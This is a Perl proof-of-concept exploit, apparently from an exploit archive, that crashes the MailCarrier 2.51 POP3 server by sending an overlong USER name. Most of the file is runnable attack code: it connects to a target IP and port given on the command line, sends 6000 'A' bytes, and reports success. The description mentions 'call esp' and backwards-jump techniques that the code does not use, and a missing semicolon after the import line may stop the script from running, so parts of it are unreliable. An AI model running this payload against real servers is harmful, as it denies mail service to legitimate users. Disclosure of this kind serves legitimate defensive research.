#!/usr/bin/perl

use IO::Socket::INET

# Exploit Title: MailCarrier 2.51 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 16 january 2024
# Tested Version: MailCarrier 2.51
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $buf  = "\x41" x 6000;


    my $s = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp'
    ) or die "Unable to connect: $!\n";

    $s->recv(my $data, 1024);    # Grab banners (if any)
    $s->send('USER ' . $buf . "\r\n");
    $s->recv(my $response, 1024);
    $s->send("QUIT\r\n");
    $s->close();

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {

                              ,--,
                       _ ___/ /\|
                   ,;'( )__, )  ~
                  //  //   '--; 
                  '   \     | ^
                       ^    ^

      [+] MailCarrier 2.51 - Denial of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated